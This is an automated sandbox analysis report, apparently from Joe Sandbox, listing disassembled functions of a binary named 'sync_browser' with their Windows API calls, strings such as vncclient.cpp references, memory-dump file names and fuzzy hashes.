Part of subcall function 00007FF7E5132950: RaiseException.KERNEL32 ref: 00007FF7E51329CB

EnterCriticalSection.KERNEL32 ref: 00007FF7E50A59DF
LeaveCriticalSection.KERNEL32 ref: 00007FF7E50A5A0B

Strings

G, xrefs: 00007FF7E50A59D4

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterExceptionInitializeLeaveRaisemalloc
String ID: G
API String ID: 2834860089-985283518
Opcode ID: 163d903ced7c1d504fa84a9e51e7384b3b992433d33170fc57d78eaf579be50a
Instruction ID: bc08979c401bbf0639c33c501ddc210881e786cc8e8ddb086d6f709edc2c1e38
Opcode Fuzzy Hash: 163d903ced7c1d504fa84a9e51e7384b3b992433d33170fc57d78eaf579be50a
Instruction Fuzzy Hash: 41319B3251878586D710AF24E4503A9B3A4FF44FA4F940136E69987AD9CF7CD495C722

Function 00007FF7E51299CC Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 00007FF7E5129923
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E512992E
_errno.LIBCMT ref: 00007FF7E5129960
_errno.LIBCMT ref: 00007FF7E5129972

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: _errno$_invalid_parameter_noinfo
String ID:
API String ID: 2819658684-0
Opcode ID: 859027ed417ea2719fff98fb652ef308f396c22346242a752418a20ea244bd4e
Instruction ID: 6f3e1e37fdfa11a82b950a58a70481e6dc6a0a4b160339ee28474a84bcfc49ff
Opcode Fuzzy Hash: 859027ed417ea2719fff98fb652ef308f396c22346242a752418a20ea244bd4e
Instruction Fuzzy Hash: 55218325A1D28B85FB11BB25782133DE294AF45FD0F844832E98DC7B89DE3CE4409722

Function 00007FF7E507A290 Relevance: 6.1, APIs: 4, Instructions: 57comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 00007FF7E507A2B8
CoCreateInstance.OLE32 ref: 00007FF7E507A2E5
CoUninitialize.OLE32 ref: 00007FF7E507A320

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: CreateInitializeInstanceUninitialize
String ID:
API String ID: 948891078-0
Opcode ID: 5481b7ab5fc5c7fceea0fc204020ee9c7aeb27894877d551f4c9081dc7f6ea27
Instruction ID: b9686e5cdd2b7b5edab3d4cf12113f7cf2b99233be2f64b60c5bbdd91943bfd4
Opcode Fuzzy Hash: 5481b7ab5fc5c7fceea0fc204020ee9c7aeb27894877d551f4c9081dc7f6ea27
Instruction Fuzzy Hash: 16214F66618B4582E720AF29F46076AB3A0FB88F54F905132F69EC3B98DF3DD444CB11

Function 00007FF7E50E1660 Relevance: 6.1, APIs: 4, Instructions: 51COMMON

Download Yara Rule

APIs

GlobalUnlock.KERNEL32 ref: 00007FF7E50E16AC
GlobalFree.KERNEL32 ref: 00007FF7E50E16C5
GlobalUnlock.KERNEL32 ref: 00007FF7E50E1704
GlobalFree.KERNEL32 ref: 00007FF7E50E171D

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Global$FreeUnlock
String ID:
API String ID: 1239146723-0
Opcode ID: abdc864418634cf1197187ec179a29c8207377b801291dd9a7c0c602e8c7d055
Instruction ID: bb04e6293abcb4170dedc0b1816f61e4bdbb7e0b3f26d6247de3f5ac9dd3f711
Opcode Fuzzy Hash: abdc864418634cf1197187ec179a29c8207377b801291dd9a7c0c602e8c7d055
Instruction Fuzzy Hash: 36217431A19A4A81FB14AF22F860269B3A8FB84F84F541037E94DC7758DF7CD851CB62

Function 00007FF7E50C3690 Relevance: 6.0, APIs: 4, Instructions: 47fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

OutputDebugStringA.KERNEL32(?,?,?,?,?,00007FF7E50C385F), ref: 00007FF7E50C36A9
GetStdHandle.KERNEL32(?,?,?,?,?,00007FF7E50C385F), ref: 00007FF7E50C36D1
WriteConsoleA.KERNEL32 ref: 00007FF7E50C36EE
WriteFile.KERNEL32(?,?,?,?,?,00007FF7E50C385F), ref: 00007FF7E50C3725

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Write$ConsoleDebugFileHandleOutputString
String ID:
API String ID: 1934604790-0
Opcode ID: aa49c59b5da7e2634850ce4aacb17eb8463b37466091e8bd9ee96f81ef6cd0f2
Instruction ID: 59507148fd29636c7a0ed946ca03a371b6a51d94ae274bcfa48d2ded286744f0
Opcode Fuzzy Hash: aa49c59b5da7e2634850ce4aacb17eb8463b37466091e8bd9ee96f81ef6cd0f2
Instruction Fuzzy Hash: E311E225618A8440E710EB35A4143A9F760EB46FB4F584322EEBC43BD8CF3DC845C300

Function 00007FF7E5134FA8 Relevance: 6.0, APIs: 4, Instructions: 45COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 00007FF7E5134FB2

Part of subcall function 00007FF7E5133848: _amsg_exit.LIBCMT ref: 00007FF7E513385E

_lock.LIBCMT ref: 00007FF7E5134FE0
free.LIBCMT ref: 00007FF7E5135016
_amsg_exit.LIBCMT ref: 00007FF7E513504F

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: _amsg_exit$_getptd_lockfree
String ID:
API String ID: 2148533958-0
Opcode ID: 67261a7475787b32431de27056b085c578b22756a177dc977607e34beed0a1e5
Instruction ID: edee522093e40c98d235ff2c45542a10ff35180023045714ecad2fcf2d5f3bf8
Opcode Fuzzy Hash: 67261a7475787b32431de27056b085c578b22756a177dc977607e34beed0a1e5
Instruction Fuzzy Hash: 95113025A1964982EB94AB14F470379B360FB44F40F8A4037DA4D83799DF3CE451C763

Function 00007FF7E50992C0 Relevance: 6.0, APIs: 1, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF7E50992F0

Part of subcall function 00007FF7E5107520: EnterCriticalSection.KERNEL32 ref: 00007FF7E5107534
Part of subcall function 00007FF7E5107520: ReleaseSemaphore.KERNEL32 ref: 00007FF7E5107577
Part of subcall function 00007FF7E5107520: GetLastError.KERNEL32 ref: 00007FF7E5107581
Part of subcall function 00007FF7E5107520: LeaveCriticalSection.KERNEL32 ref: 00007FF7E510758C

Part of subcall function 00007FF7E5107400: EnterCriticalSection.KERNEL32 ref: 00007FF7E5107427
Part of subcall function 00007FF7E5107400: LeaveCriticalSection.KERNEL32 ref: 00007FF7E5107472
Part of subcall function 00007FF7E5107400: LeaveCriticalSection.KERNEL32 ref: 00007FF7E510747B
Part of subcall function 00007FF7E5107400: WaitForSingleObject.KERNEL32 ref: 00007FF7E510748A
Part of subcall function 00007FF7E5107400: EnterCriticalSection.KERNEL32 ref: 00007FF7E5107495
Part of subcall function 00007FF7E5107400: GetLastError.KERNEL32 ref: 00007FF7E51074A7
Part of subcall function 00007FF7E5107400: EnterCriticalSection.KERNEL32 ref: 00007FF7E51074DE
Part of subcall function 00007FF7E5107400: LeaveCriticalSection.KERNEL32 ref: 00007FF7E5107500

Strings

vncclient.cpp : enable/disable synced, xrefs: 00007FF7E509935C
b, xrefs: 00007FF7E50992E5
vncclient.cpp : disable update thread, xrefs: 00007FF7E5099321

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: CriticalSection$Enter$Leave$ErrorLast$ObjectReleaseSemaphoreSingleWait
String ID: b$vncclient.cpp : disable update thread$vncclient.cpp : enable/disable synced
API String ID: 1962697109-2518527632
Opcode ID: f543da9bb464de5584b1e5b02f7bc905784e8395ad55e1ed3b6c4c6bb991fdcf
Instruction ID: c741247b947cab85a00bf82d0c5e9841f18336532267a076409ceb970ac9653b
Opcode Fuzzy Hash: f543da9bb464de5584b1e5b02f7bc905784e8395ad55e1ed3b6c4c6bb991fdcf
Instruction Fuzzy Hash: C4115471608A8A85EB10AF25E4603E9A361FB84F54F844236E95DC77E9DF3CD405C722

Function 00007FF7E51079A0 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF7E51079C7
LeaveCriticalSection.KERNEL32 ref: 00007FF7E51079E9
CreateSemaphoreA.KERNEL32 ref: 00007FF7E5107A03
GetLastError.KERNEL32 ref: 00007FF7E5107A15

Part of subcall function 00007FF7E5132950: RaiseException.KERNEL32 ref: 00007FF7E51329CB

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: CriticalSection$CreateEnterErrorExceptionLastLeaveRaiseSemaphore
String ID:
API String ID: 1747828912-0
Opcode ID: 14ac771c62f70bbc5ec8748b8740afadcc4c6e14281f3ec5920f493c53464439
Instruction ID: a472f029e1ea817e48e35eb6dc82ee45aa61e0f40de3fe69309fdc65a9d7e57a
Opcode Fuzzy Hash: 14ac771c62f70bbc5ec8748b8740afadcc4c6e14281f3ec5920f493c53464439
Instruction Fuzzy Hash: A711AC32A24B59A7E704AF25F5A0259B7A4FB48F80F50513BEB5983B58CF38E071CB11

Function 00007FF7E5087960 Relevance: 6.0, APIs: 4, Instructions: 42COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF7E5087978
SetEvent.KERNEL32 ref: 00007FF7E508798E
LeaveCriticalSection.KERNEL32 ref: 00007FF7E5087A08
DeleteCriticalSection.KERNEL32 ref: 00007FF7E5087A1E

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: CriticalSection$DeleteEnterEventLeave
String ID:
API String ID: 3772564070-0
Opcode ID: 678031ac42c66a5cc385a0b69a6c3c5d1fab056847b98d7cff6dccc56ed1addc
Instruction ID: 1b8d0a67d922f6b7006f305729b7bf768d9506bb650d28b6e21380e1e98a456e
Opcode Fuzzy Hash: 678031ac42c66a5cc385a0b69a6c3c5d1fab056847b98d7cff6dccc56ed1addc
Instruction Fuzzy Hash: E021F725A19A0E91FB21AB11F864774A360EF88F44F844073CA4E867A88F3DA494C333

Function 00007FF7E5107520 Relevance: 6.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF7E5107534
ReleaseSemaphore.KERNEL32 ref: 00007FF7E5107577
GetLastError.KERNEL32 ref: 00007FF7E5107581
LeaveCriticalSection.KERNEL32 ref: 00007FF7E510758C

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterErrorLastLeaveReleaseSemaphore
String ID:
API String ID: 540623443-0
Opcode ID: 1ef8894c349e896affc9970763aea91ebceedb24d96a9e68f30ae080b1782f5f
Instruction ID: 04d8c1e920920278fc5b57e0698aa8333eeae3f6b8fe17d683b3dbe7998ab06a
Opcode Fuzzy Hash: 1ef8894c349e896affc9970763aea91ebceedb24d96a9e68f30ae080b1782f5f
Instruction Fuzzy Hash: DF113022A18B4986DB50EF65E4607A9B3A4FB48F88F906432DA4E87618EF3CD455C712

Function 00007FF7E5089570 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF7E508957C
ExtEscape.GDI32 ref: 00007FF7E508959E
ExtEscape.GDI32 ref: 00007FF7E50895BB
ReleaseDC.USER32 ref: 00007FF7E50895C6

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Escape$Release
String ID:
API String ID: 2350829361-0
Opcode ID: c485e33178795d9909b89da61998c10babd3cfe1ac8502836bf93b7e6d891906
Instruction ID: ff9299e86c1450cdc357fbe0520071937e35a619326cc0e4209eee4774d39fc3
Opcode Fuzzy Hash: c485e33178795d9909b89da61998c10babd3cfe1ac8502836bf93b7e6d891906
Instruction Fuzzy Hash: 25F06D3261864583E730AB20B965A2EB2A1FB88B84F945136DE4A42E18DF3CD0128B04

Function 00007FF7E5135878 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 00007FF7E513587E

Part of subcall function 00007FF7E5133848: _amsg_exit.LIBCMT ref: 00007FF7E513385E

_getptd.LIBCMT ref: 00007FF7E513589E
_lock.LIBCMT ref: 00007FF7E51358B1
_amsg_exit.LIBCMT ref: 00007FF7E51358DF

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: _amsg_exit_getptd$_lock
String ID:
API String ID: 3670291111-0
Opcode ID: a8d2708ae87b95b4ee220a0a01a88b12f7926cd03621c5a20977671bdb7db4c5
Instruction ID: 0f9b5fd21a06346e36d24da62b82ea7a1ab25a71d0badf402ca1005d116072c7
Opcode Fuzzy Hash: a8d2708ae87b95b4ee220a0a01a88b12f7926cd03621c5a20977671bdb7db4c5
Instruction Fuzzy Hash: 57F0FF51E1A14EC1FA547B65A4717B89760EF54F40FCB027ADA0C873DADE3CA940D722

Function 00007FF7E507AED0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 110COMMON

Download Yara Rule

APIs

htonl.WS2_32 ref: 00007FF7E507B015

Strings

., xrefs: 00007FF7E507AFC0
., xrefs: 00007FF7E507AF50

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: htonl
String ID: .$.
API String ID: 2009864989-3769392785
